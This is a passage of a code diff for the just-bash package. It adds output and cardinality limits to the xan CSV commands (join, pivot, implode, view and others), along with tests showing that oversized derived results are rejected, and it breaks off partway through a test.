 export async function cmdImplode(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let column = "";
   let separator = "|";
@@ -160,12 +178,14 @@ export async function cmdImplode(
 
   // Group consecutive rows with same key
   const newData: CsvData = [];
+  const resultBudget = new DerivedCsvBudget(ctx, "xan implode");
   let currentKey: string | null = null;
   let currentValues: string[] = [];
   let currentRow: CsvRow | null = null;
 
   for (const row of data) {
-    const key = keyCols.map((k) => String(row[k] ?? "")).join("\0");
+    resultBudget.consumeWork();
+    const key = JSON.stringify(keyCols.map((k) => String(row[k] ?? "")));
     const value = row[column];
     const strValue = value === null || value === undefined ? "" : String(value);
 
@@ -176,7 +196,17 @@ export async function cmdImplode(
         if (rename) {
           delete newRow[column];
         }
-        safeSetRow(newRow, targetCol, currentValues.join(separator));
+        safeSetRow(
+          newRow,
+          targetCol,
+          boundedJoin(
+            currentValues,
+            separator,
+            Math.min(ctx.limits.maxStringLength, ctx.limits.maxOutputSize),
+            "xan implode",
+          ),
+        );
+        resultBudget.addRow(newHeaders.length);
         newData.push(newRow);
       }
       // Start new group
@@ -195,11 +225,25 @@ export async function cmdImplode(
     if (rename) {
       delete newRow[column];
     }
-    safeSetRow(newRow, targetCol, currentValues.join(separator));
+    safeSetRow(
+      newRow,
+      targetCol,
+      boundedJoin(
+        currentValues,
+        separator,
+        Math.min(ctx.limits.maxStringLength, ctx.limits.maxOutputSize),
+        "xan implode",
+      ),
+    );
+    resultBudget.addRow(newHeaders.length);
     newData.push(newRow);
   }
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 /**
@@ -212,7 +256,7 @@ export async function cmdImplode(
  */
 export async function cmdJoin(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let key1 = "";
   let file1 = "";
@@ -277,6 +321,7 @@ export async function cmdJoin(
   // Build index for second file
   const index2 = new Map<string, CsvRow[]>();
   for (const row of data2) {
+    ctx.executionScope?.consumeWork(1, "xan join index");
     const keyVal = String(row[key2] ?? "");
     if (!index2.has(keyVal)) {
       index2.set(keyVal, []);
@@ -288,12 +333,49 @@ export async function cmdJoin(
   // Keep all headers from file1, add only unique headers from file2
   const headers1Set = new Set(headers1);
   const headers2Unique = headers2.filter((h) => !headers1Set.has(h));
+  if (
+    checkedAdd(headers1.length, headers2Unique.length, "xan join") >
+    ctx.limits.maxArrayElements
+  ) {
+    throw new ExecutionLimitError(
+      `xan join: output column limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
   const newHeaders = [...headers1, ...headers2Unique];
   const newData: CsvData = [];
+  const resultBudget = new DerivedCsvBudget(ctx, "xan join");
   const matched2Keys = new Set<string>();
 
+  // Prove the join product fits before allocating its first output row.
+  let prospectiveRows = 0;
+  for (const row1 of data1) {
+    ctx.executionScope?.consumeWork(1, "xan join cardinality");
+    const matches = index2.get(String(row1[key1] ?? ""));
+    prospectiveRows = checkedAdd(
+      prospectiveRows,
+      matches?.length ?? (joinType === "left" || joinType === "full" ? 1 : 0),
+      "xan join",
+    );
+  }
+  if (joinType === "right" || joinType === "full") {
+    const leftKeys = new Set<string>();
+    for (const row of data1) {
+      ctx.executionScope?.throwIfAborted("xan join cardinality");
+      leftKeys.add(String(row[key1] ?? ""));
+    }
+    for (const row2 of data2) {
+      ctx.executionScope?.throwIfAborted("xan join cardinality");
+      if (!leftKeys.has(String(row2[key2] ?? ""))) {
+        prospectiveRows = checkedAdd(prospectiveRows, 1, "xan join");
+      }
+    }
+  }
+  resultBudget.addRows(prospectiveRows, newHeaders.length);
+
   // Process joins
   for (const row1 of data1) {
+    ctx.executionScope?.throwIfAborted("xan join output");
     const keyVal = String(row1[key1] ?? "");
     const matches = index2.get(keyVal);
 
@@ -325,6 +407,7 @@ export async function cmdJoin(
   // For right/full join, add unmatched rows from second file
   if (joinType === "right" || joinType === "full") {
     for (const row2 of data2) {
+      ctx.executionScope?.throwIfAborted("xan join output");
       const keyVal = String(row2[key2] ?? "");
       if (!matched2Keys.has(keyVal)) {
         const newRow: CsvRow = createSafeRow();
@@ -340,7 +423,11 @@ export async function cmdJoin(
     }
   }
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 /**
@@ -350,7 +437,7 @@ export async function cmdJoin(
  */
 export async function cmdPivot(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let pivotCol = "";
   let aggExpr = "";
@@ -409,9 +496,18 @@ export async function cmdPivot(
 
   // Get unique pivot values (preserving order)
   const pivotValues: string[] = [];
+  const pivotValueSet = new Set<string>();
   for (const row of data) {
+    ctx.executionScope?.consumeWork(1, "xan pivot values");
     const val = String(row[pivotCol] ?? "");
-    if (!pivotValues.includes(val)) {
+    if (!pivotValueSet.has(val)) {
+      if (pivotValues.length >= ctx.limits.maxArrayElements) {
+        throw new ExecutionLimitError(
+          `xan pivot: pivot value limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      pivotValueSet.add(val);
       pivotValues.push(val);
     }
   }
@@ -419,77 +515,117 @@ export async function cmdPivot(
   // Group data
   const groups = new Map<
     string,
-    Map<string, (string | number | boolean | null)[]>
+    {
+      keyParts: string[];
+      pivots: Map<string, (string | number | boolean | null)[]>;
+    }
   >();
   const groupOrder: string[] = [];
 
   for (const row of data) {
-    const groupKey = groupCols.map((c) => String(row[c] ?? "")).join("\0");
+    ctx.executionScope?.consumeWork(1, "xan pivot groups");
+    const groupKeyParts = groupCols.map((c) => String(row[c] ?? ""));
+    const groupKey = JSON.stringify(groupKeyParts);
     const pivotVal = String(row[pivotCol] ?? "");
     const aggVal = row[aggCol];
 
     if (!groups.has(groupKey)) {
-      groups.set(groupKey, new Map());
+      groups.set(groupKey, { keyParts: groupKeyParts, pivots: new Map() });
       groupOrder.push(groupKey);
     }
     const group = groups.get(groupKey);
     if (!group) continue;
-    if (!group.has(pivotVal)) {
-      group.set(pivotVal, []);
+    if (!group.pivots.has(pivotVal)) {
+      group.pivots.set(pivotVal, []);
     }
-    group.get(pivotVal)?.push(aggVal);
+    group.pivots.get(pivotVal)?.push(aggVal);
   }
 
   // Build output
+  const collidingHeader = pivotValues.find((value) =>
+    groupCols.includes(value),
+  );
+  if (collidingHeader !== undefined) {
+    return {
+      stdout: "",
+      stderr: `xan pivot: duplicate output header '${collidingHeader}'\n`,
+      exitCode: 1,
+    };
+  }
+  const outputColumnCount = checkedAdd(
+    groupCols.length,
+    pivotValues.length,
+    "xan pivot",
+  );
+  if (outputColumnCount > ctx.limits.maxArrayElements) {
+    throw new ExecutionLimitError(
+      `xan pivot: output column limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
+  const resultBudget = new DerivedCsvBudget(ctx, "xan pivot");
+  resultBudget.addRows(groupOrder.length, outputColumnCount);
   const newHeaders = [...groupCols, ...pivotValues];
   const newData: CsvData = [];
 
   for (const groupKey of groupOrder) {
-    const groupKeyParts = groupKey.split("\0");
+    ctx.executionScope?.throwIfAborted("xan pivot output");
     const group = groups.get(groupKey);
     if (!group) continue;
     const row: CsvRow = createSafeRow();
 
     // Add group key values
     for (let i = 0; i < groupCols.length; i++) {
-      safeSetRow(row, groupCols[i], groupKeyParts[i]);
+      safeSetRow(row, groupCols[i], group.keyParts[i]);
     }
 
     // Add aggregated values for each pivot column
     for (const pivotVal of pivotValues) {
-      const values = group.get(pivotVal) || [];
+      const values = group.pivots.get(pivotVal) || [];
       safeSetRow(row, pivotVal, computeSimpleAgg(aggFunc, values));
     }
 
     newData.push(row);
   }
 
-  return { stdout: formatCsv(newHeaders, newData), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(newHeaders, newData, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
 
 function computeSimpleAgg(
   func: string,
   values: (string | number | boolean | null)[],
 ): string | number | null {
-  const nums = values
-    .filter((v) => v !== null && v !== undefined)
-    .map((v) => (typeof v === "number" ? v : Number.parseFloat(String(v))))
-    .filter((n) => !Number.isNaN(n));
+  let numericCount = 0;
+  let sum = 0;
+  let minimum = Number.POSITIVE_INFINITY;
+  let maximum = Number.NEGATIVE_INFINITY;
+  for (const value of values) {
+    if (value === null || value === undefined) continue;
+    const number =
+      typeof value === "number" ? value : Number.parseFloat(String(value));
+    if (Number.isNaN(number)) continue;
+    numericCount++;
+    sum += number;
+    minimum = Math.min(minimum, number);
+    maximum = Math.max(maximum, number);
+  }
 
   switch (func) {
     case "count":
       return values.length;
     case "sum":
-      return nums.reduce((a, b) => a + b, 0);
+      return sum;
     case "mean":
     case "avg":
-      return nums.length > 0
-        ? nums.reduce((a, b) => a + b, 0) / nums.length
-        : null;
+      return numericCount > 0 ? sum / numericCount : null;
     case "min":
-      return nums.length > 0 ? Math.min(...nums) : null;
+      return numericCount > 0 ? minimum : null;
     case "max":
-      return nums.length > 0 ? Math.max(...nums) : null;
+      return numericCount > 0 ? maximum : null;
     case "first":
       return values.length > 0 ? String(values[0] ?? "") : null;
     case "last":
@@ -506,7 +642,7 @@ function computeSimpleAgg(
  */
 export async function cmdMerge(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let sortCol = "";
   const fileArgs: string[] = [];
@@ -556,9 +692,18 @@ export async function cmdMerge(
   }
 
   // Merge all data
-  let merged: CsvData = [];
+  const merged: CsvData = [];
+  const resultBudget = new DerivedCsvBudget(ctx, "xan merge");
+  const mergedRows = allData.reduce(
+    (count, entry) => checkedAdd(count, entry.data.length, "xan merge"),
+    0,
+  );
+  resultBudget.addRows(mergedRows, commonHeaders.length);
   for (const { data } of allData) {
-    merged = merged.concat(data);
+    for (const row of data) {
+      ctx.executionScope?.throwIfAborted("xan merge output");
+      merged.push(row);
+    }
   }
 
   // Sort if column specified
@@ -584,5 +729,9 @@ export async function cmdMerge(
     });
   }
 
-  return { stdout: formatCsv(commonHeaders, merged), stderr: "", exitCode: 0 };
+  return {
+    stdout: formatCsv(commonHeaders, merged, ctx),
+    stderr: "",
+    exitCode: 0,
+  };
 }
diff --git a/packages/just-bash/src/commands/xan/xan-simple.ts b/packages/just-bash/src/commands/xan/xan-simple.ts
index ae7204a1..f6e063ef 100644
--- a/packages/just-bash/src/commands/xan/xan-simple.ts
+++ b/packages/just-bash/src/commands/xan/xan-simple.ts
@@ -2,22 +2,29 @@
  * Simple commands: behead, sample, cat, search, flatmap, fmt
  */
 
+import { checkedAdd } from "../../bounded-builder.js";
 import { decodeBytesToUtf8 } from "../../encoding.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 import { createUserRegex, type RegexLike } from "../../regex/index.js";
-import type { CommandContext, ExecResult } from "../../types.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 import { readFiles } from "../../utils/file-reader.js";
 import { type EvaluateOptions, evaluate } from "../query-engine/index.js";
 import {
   type CsvData,
   type CsvRow,
   createSafeRow,
+  DerivedCsvBudget,
   formatCsv,
+  formatCsvWithoutHeaders,
   parseCsv,
   readCsvInput,
   safeSetRow,
   toSafeRow,
 } from "./csv.js";
-import { parseNamedExpressions } from "./moonblade-parser.js";
+import {
+  getMoonbladeLimits,
+  parseNamedExpressions,
+} from "./moonblade-parser.js";
 import { moonbladeToJq } from "./moonblade-to-jq.js";
 
 /**
@@ -26,7 +33,7 @@ import { moonbladeToJq } from "./moonblade-to-jq.js";
  */
 export async function cmdBehead(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   const fileArgs = args.filter((a) => !a.startsWith("-"));
 
@@ -38,28 +45,17 @@ export async function cmdBehead(
     return { stdout: "", stderr: "", exitCode: 0 };
   }
 
-  const rows = data.map((row) => headers.map((h) => row[h]));
-  const output =
-    rows.map((row) => row.map((v) => formatValue(v)).join(",")).join("\n") +
-    "\n";
+  const budget = new DerivedCsvBudget(ctx, "xan behead");
+  budget.addRows(data.length, headers.length);
 
   // xan emits text; the pipeline handles encoding.
   return {
-    stdout: output,
+    stdout: formatCsvWithoutHeaders(headers, data, ctx),
     stderr: "",
     exitCode: 0,
   };
 }
 
-function formatValue(v: unknown): string {
-  if (v === null || v === undefined) return "";
-  const s = String(v);
-  if (s.includes(",") || s.includes('"') || s.includes("\n")) {
-    return `"${s.replace(/"/g, '""')}"`;
-  }
-  return s;
-}
-
 /**
  * Sample: randomly sample N rows from CSV
  * Usage: xan sample [OPTIONS] <sample-size> [FILE]
@@ -67,7 +63,7 @@ function formatValue(v: unknown): string {
  */
 export async function cmdSample(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let num: number | null = null;
   let seed: number | null = null;
@@ -102,7 +98,7 @@ export async function cmdSample(
   if (data.length <= num) {
     // xan emits text; the pipeline handles encoding.
     return {
-      stdout: formatCsv(headers, data),
+      stdout: formatCsv(headers, data, ctx),
       stderr: "",
       exitCode: 0,
     };
@@ -129,7 +125,7 @@ export async function cmdSample(
 
   // xan emits text; the pipeline handles encoding.
   return {
-    stdout: formatCsv(headers, sampled),
+    stdout: formatCsv(headers, sampled, ctx),
     stderr: "",
     exitCode: 0,
   };
@@ -142,7 +138,7 @@ export async function cmdSample(
  */
 export async function cmdCat(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let pad = false;
   const fileArgs: string[] = [];
@@ -176,14 +172,32 @@ export async function cmdCat(
   // Parse CSVs and collect headers
   const allFiles: { headers: string[]; data: CsvData }[] = [];
   let allHeaders: string[] = [];
+  const budget = new DerivedCsvBudget(ctx, "xan cat");
+  const knownHeaders = new Set<string>();
 
   for (const { content } of result.files) {
-    const { headers, data } = parseCsv(decodeBytesToUtf8(content));
+    const { headers, data } = parseCsv(decodeBytesToUtf8(content), {
+      maxStringLength: Math.min(
+        ctx.limits.maxInputBytes,
+        ctx.limits.maxStringLength,
+      ),
+      maxArrayElements: ctx.limits.maxArrayElements,
+      maxRows: ctx.limits.maxCsvRows,
+      maxCells: ctx.limits.maxCsvCells,
+    });
+    budget.addRows(data.length, headers.length);
     allFiles.push({ headers, data });
 
     // Collect all unique headers
     for (const h of headers) {
-      if (!allHeaders.includes(h)) {
+      if (!knownHeaders.has(h)) {
+        knownHeaders.add(h);
+        if (knownHeaders.size > ctx.limits.maxArrayElements) {
+          throw new ExecutionLimitError(
+            `xan cat: output column limit exceeded (${ctx.limits.maxArrayElements})`,
+            "array_elements",
+          );
+        }
         allHeaders.push(h);
       }
     }
@@ -218,7 +232,7 @@ export async function cmdCat(
 
   // xan emits text; the pipeline handles encoding.
   return {
-    stdout: formatCsv(allHeaders, allData),
+    stdout: formatCsv(allHeaders, allData, ctx),
     stderr: "",
     exitCode: 0,
   };
@@ -233,7 +247,7 @@ export async function cmdCat(
  */
 export async function cmdSearch(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let pattern = "";
   let selectCols: string[] = [];
@@ -294,7 +308,7 @@ export async function cmdSearch(
 
   // xan emits text; the pipeline handles encoding.
   return {
-    stdout: formatCsv(headers, filtered),
+    stdout: formatCsv(headers, filtered, ctx),
     stderr: "",
     exitCode: 0,
   };
@@ -307,7 +321,7 @@ export async function cmdSearch(
  */
 export async function cmdFlatmap(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let expr = "";
   const fileArgs: string[] = [];
@@ -334,21 +348,35 @@ export async function cmdFlatmap(
   if (error) return error;
 
   // Parse expression
-  const namedExprs = parseNamedExpressions(expr);
+  const moonbladeLimits = getMoonbladeLimits(ctx);
+  const namedExprs = parseNamedExpressions(expr, moonbladeLimits);
   const specs = namedExprs.map(({ expr: e, name }) => ({
     alias: typeof name === "string" ? name : name[0],
-    ast: moonbladeToJq(e),
+    ast: moonbladeToJq(e, true, moonbladeLimits),
   }));
 
   const evalOptions: EvaluateOptions = {
     limits: ctx.limits
-      ? { maxIterations: ctx.limits.maxJqIterations }
+      ? {
+          maxIterations: ctx.limits.maxJqIterations,
+          maxStringLength: ctx.limits.maxStringLength,
+        }
       : undefined,
   };
 
   // New headers include mapped columns
+  if (
+    checkedAdd(headers.length, specs.length, "xan flatmap") >
+    ctx.limits.maxArrayElements
+  ) {
+    throw new ExecutionLimitError(
+      `xan flatmap: output column limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
   const newHeaders = [...headers, ...specs.map((s) => s.alias)];
   const newData: CsvData = [];
+  const resultBudget = new DerivedCsvBudget(ctx, "xan flatmap");
 
   for (const row of data) {
     // Evaluate each spec
@@ -356,18 +384,26 @@ export async function cmdFlatmap(
     let maxLen = 1;
 
     for (const spec of specs) {
+      resultBudget.consumeWork();
       const evalResults = evaluate(row, spec.ast, evalOptions);
       // If result is array, expand it
       const expanded =
         evalResults.length > 0 && Array.isArray(evalResults[0])
           ? evalResults[0]
           : evalResults;
+      if (expanded.length > ctx.limits.maxArrayElements) {
+        throw new ExecutionLimitError(
+          `xan flatmap: expression result limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
       results.push(expanded as unknown[]);
       maxLen = Math.max(maxLen, expanded.length);
     }
 
     // Create rows for each result
     for (let i = 0; i < maxLen; i++) {
+      resultBudget.addRow(newHeaders.length);
       const newRow: CsvRow = toSafeRow(row);
       for (let j = 0; j < specs.length; j++) {
         const val = results[j][i] ?? null;
@@ -383,7 +419,7 @@ export async function cmdFlatmap(
 
   // xan emits text; the pipeline handles encoding.
   return {
-    stdout: formatCsv(newHeaders, newData),
+    stdout: formatCsv(newHeaders, newData, ctx),
     stderr: "",
     exitCode: 0,
   };
@@ -395,7 +431,7 @@ export async function cmdFlatmap(
  */
 export async function cmdFmt(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   // Fmt is essentially an alias for view
   const { cmdView } = await import("./xan-view.js");
diff --git a/packages/just-bash/src/commands/xan/xan-view.limits.test.ts b/packages/just-bash/src/commands/xan/xan-view.limits.test.ts
new file mode 100644
index 00000000..23c83c6a
--- /dev/null
+++ b/packages/just-bash/src/commands/xan/xan-view.limits.test.ts
@@ -0,0 +1,29 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
+describe("xan view output limits", () => {
+  it("rejects padded table amplification during rendering", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 128 } });
+    const result = await bash.exec("xan view", {
+      stdin: `value\n${"x".repeat(64)}\na\nb\nc\n`,
+    });
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      "bash: xan: output size limit exceeded (128 bytes)\n",
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("preserves exact ordinary table rendering", async () => {
+    const bash = new Bash();
+    const result = await bash.exec("xan view", {
+      stdin: "a,b\n1,2\n",
+    });
+    expect(result.stdout).toBe(
+      "┌───┬───┐\n│ a │ b │\n├───┼───┤\n│ 1 │ 2 │\n└───┴───┘\n",
+    );
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+});
diff --git a/packages/just-bash/src/commands/xan/xan-view.ts b/packages/just-bash/src/commands/xan/xan-view.ts
index b09c4d7e..0312cd46 100644
--- a/packages/just-bash/src/commands/xan/xan-view.ts
+++ b/packages/just-bash/src/commands/xan/xan-view.ts
@@ -2,9 +2,14 @@
  * View commands: pretty print CSV as table or flattened records
  */
 
-import type { CommandContext, ExecResult } from "../../types.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
+import { XanOutputBuilder } from "./bounded-output.js";
 import { readCsvInput } from "./csv.js";
 
+function outputLimit(ctx: RuntimeCommandContext): number {
+  return Math.min(ctx.limits.maxStringLength, ctx.limits.maxOutputSize);
+}
+
 /**
  * Flatten: display records vertically, one field per line
  * Usage: xan flatten [OPTIONS] [FILE]
@@ -13,7 +18,7 @@ import { readCsvInput } from "./csv.js";
  */
 export async function cmdFlatten(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let limit = 0; // 0 means all rows
   let selectCols: string[] = [];
@@ -41,34 +46,38 @@ export async function cmdFlatten(
   const rows = limit > 0 ? data.slice(0, limit) : data;
 
   // Calculate max header width for alignment
-  const maxHeaderWidth = Math.max(...displayHeaders.map((h) => h.length));
+  let maxHeaderWidth = 0;
+  for (const header of displayHeaders) {
+    maxHeaderWidth = Math.max(maxHeaderWidth, header.length);
+  }
 
-  // Build output
-  const lines: string[] = [];
-  const separator = "─".repeat(80);
+  const output = new XanOutputBuilder(outputLimit(ctx));
 
   for (let i = 0; i < rows.length; i++) {
     const row = rows[i];
-    lines.push(`Row n°${i}`);
-    lines.push(separator);
+    output.append(`Row n°${i}\n`);
+    output.repeat("─", 80);
+    output.append("\n");
 
     for (const h of displayHeaders) {
       const val = row[h];
       const valStr = val === null || val === undefined ? "" : String(val);
-      lines.push(`${h.padEnd(maxHeaderWidth)} ${valStr}`);
+      output.append(h);
+      output.repeat(" ", maxHeaderWidth - h.length + 1);
+      output.append(`${valStr}\n`);
     }
 
     if (i < rows.length - 1) {
-      lines.push(""); // Empty line between records
+      output.append("\n");
     }
   }
 
-  return { stdout: `${lines.join("\n")}\n`, stderr: "", exitCode: 0 };
+  return { stdout: output.build(), stderr: "", exitCode: 0 };
 }
 
 export async function cmdView(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   let n = 0; // 0 means all rows
   const fileArgs: string[] = [];
@@ -96,31 +105,54 @@ export async function cmdView(
     }
   }
 
-  // Build table
-  const lines: string[] = [];
+  const output = new XanOutputBuilder(outputLimit(ctx));
   const border = "─";
   const sep = "│";
 
   // Top border
-  lines.push(`┌${widths.map((w) => border.repeat(w + 2)).join("┬")}┐`);
+  output.append("┌");
+  for (let i = 0; i < widths.length; i++) {
+    if (i > 0) output.append("┬");
+    output.repeat(border, widths[i] + 2);
+  }
+  output.append("┐\n");
 
   // Header
-  const headerRow = headers.map((h, i) => ` ${h.padEnd(widths[i])} `).join(sep);
-  lines.push(`${sep}${headerRow}${sep}`);
+  output.append(sep);
+  for (let i = 0; i < headers.length; i++) {
+    if (i > 0) output.append(sep);
+    output.append(` ${headers[i]}`);
+    output.repeat(" ", widths[i] - headers[i].length + 1);
+  }
+  output.append(`${sep}\n`);
 
   // Header separator
-  lines.push(`├${widths.map((w) => border.repeat(w + 2)).join("┼")}┤`);
+  output.append("├");
+  for (let i = 0; i < widths.length; i++) {
+    if (i > 0) output.append("┼");
+    output.repeat(border, widths[i] + 2);
+  }
+  output.append("┤\n");
 
   // Data rows
   for (const row of rows) {
-    const dataRow = headers
-      .map((h, i) => ` ${String(row[h] ?? "").padEnd(widths[i])} `)
-      .join(sep);
-    lines.push(`${sep}${dataRow}${sep}`);
+    output.append(sep);
+    for (let i = 0; i < headers.length; i++) {
+      if (i > 0) output.append(sep);
+      const value = String(row[headers[i]] ?? "");
+      output.append(` ${value}`);
+      output.repeat(" ", widths[i] - value.length + 1);
+    }
+    output.append(`${sep}\n`);
   }
 
   // Bottom border
-  lines.push(`└${widths.map((w) => border.repeat(w + 2)).join("┴")}┘`);
+  output.append("└");
+  for (let i = 0; i < widths.length; i++) {
+    if (i > 0) output.append("┴");
+    output.repeat(border, widths[i] + 2);
+  }
+  output.append("┘\n");
 
-  return { stdout: `${lines.join("\n")}\n`, stderr: "", exitCode: 0 };
+  return { stdout: output.build(), stderr: "", exitCode: 0 };
 }
diff --git a/packages/just-bash/src/commands/xan/xan.amplification.security.test.ts b/packages/just-bash/src/commands/xan/xan.amplification.security.test.ts
new file mode 100644
index 00000000..5c40a74f
--- /dev/null
+++ b/packages/just-bash/src/commands/xan/xan.amplification.security.test.ts
@@ -0,0 +1,267 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("xan derived-result amplification limits", () => {
+  it("bounds ragged fixlengths rows and cells during parsing", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "a,b\n1,2\n3,4\n5,6\n" },
+      executionLimits: { maxCsvRows: 2, maxCsvCells: 100 },
+    });
+
+    const result = await bash.exec("xan fixlengths /data.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan: CSV row limit exceeded (2)");
+  });
+
+  it("rejects unsafe fixlengths allocation lengths before constructing rows", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "a\n1\n" },
+      executionLimits: { maxArrayElements: 4 },
+    });
+
+    const result = await bash.exec("xan fixlengths -l 5 /data.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain(
+      "xan fixlengths: column limit exceeded (4)",
+    );
+  });
+
+  it("preserves CSV quoting when behead omits the header", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": 'a,b\n"x,y","a""b"\n' },
+    });
+
+    const result = await bash.exec("xan behead /data.csv");
+
+    expect(result).toMatchObject({ exitCode: 0, stderr: "" });
+    expect(result.stdout).toBe('"x,y","a""b"\n');
+  });
+
+  it("shares cat row limits across otherwise-valid input files", async () => {
+    const bash = new Bash({
+      files: {
+        "/a.csv": "v\n1\n2\n3\n",
+        "/b.csv": "v\n4\n5\n6\n",
+      },
+      executionLimits: { maxCsvRows: 5 },
+    });
+
+    const result = await bash.exec("xan cat /a.csv /b.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan cat: derived CSV result limit");
+  });
+
+  it("bounds JSON conversion output while escaping cells", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": `v\n"${"\\n".repeat(20)}"\n` },
+      executionLimits: { maxOutputSize: 40 },
+    });
+
+    const result = await bash.exec("xan to json /data.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("output size limit exceeded");
+  });
+
+  it("bounds aggregate JSON nodes before from-json row construction", async () => {
+    const bash = new Bash({
+      files: { "/data.json": '[{"a":1},{"a":2},{"a":3}]' },
+      executionLimits: { maxQueryElements: 4 },
+    });
+
+    const result = await bash.exec("xan from -f json /data.json");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("query input element limit exceeded (4)");
+  });
+
+  it("bounds flatmap across input rows rather than per expression", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "value\na b c d e f\ng h i j k l\n" },
+      executionLimits: { maxArrayElements: 10, maxCsvRows: 10 },
+    });
+
+    const result = await bash.exec(
+      "xan flatmap \"split(value, ' ') as part\" /data.csv",
+    );
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan flatmap: derived CSV result limit");
+  });
+
+  it("preflights map output cells before constructing result rows", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "value\n1\n2\n3\n4\n" },
+      executionLimits: { maxCsvCells: 7 },
+    });
+
+    const result = await bash.exec("xan map 'value as copy' /data.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan map: derived CSV result limit");
+  });
+
+  it("bounds explode products including an empty separator", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "value\nabcdef\n" },
+      executionLimits: { maxCsvRows: 5 },
+    });
+
+    const result = await bash.exec("xan explode value -s '' /data.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan explode: derived CSV result limit");
+  });
+
+  it("preserves leading, trailing, and adjacent multi-character separators", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "value\n::a::::b::\n" },
+    });
+
+    const result = await bash.exec("xan explode value -s '::' /data.csv");
+
+    expect(result).toMatchObject({ exitCode: 0, stderr: "" });
+    expect(result.stdout).toBe("value\n\na\n\nb\n\n");
+  });
+
+  it("preflights duplicate-key join cardinality", async () => {
+    const bash = new Bash({
+      files: {
+        "/left.csv": "id\n1\n1\n1\n",
+        "/right.csv": "id\n1\n1\n1\n",
+      },
+      executionLimits: { maxArrayElements: 5, maxCsvRows: 5 },
+    });
+
+    const result = await bash.exec("xan join id /left.csv id /right.csv");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan join: derived CSV result limit");
+  });
+
+  it("preflights sparse pivot row-by-column cardinality", async () => {
+    const bash = new Bash({
+      files: {
+        "/data.csv": "group,pivot,value\na,w,1\nb,x,2\nc,y,3\nd,z,4\n",
+      },
+      executionLimits: { maxCsvCells: 15 },
+    });
+
+    const result = await bash.exec(
+      "xan pivot pivot 'sum(value)' -g group /data.csv",
+    );
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan pivot: derived CSV result limit");
+  });
+
+  it("bounds implode separator amplification before join allocation", async () => {
+    const bash = new Bash({
+      files: { "/data.csv": "id,value\n1,a\n1,b\n1,c\n" },
+      executionLimits: { maxStringLength: 100 },
+    });
+
+    const result = await bash.exec(
+      "sep=$(printf '%080d' 0); xan implode value -s \"$sep\" /data.csv",
+    );
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("xan implode: output size limit");
+  });
+
+  it("bounds CSV formatting while it is produced", async () => {
+    const value = "x".repeat(80);
+    const bash = new Bash({
+      files: { "/data.csv": `value\n${value}\n` },
+      executionLimits: { maxOutputSize: 120 },
+    });
+
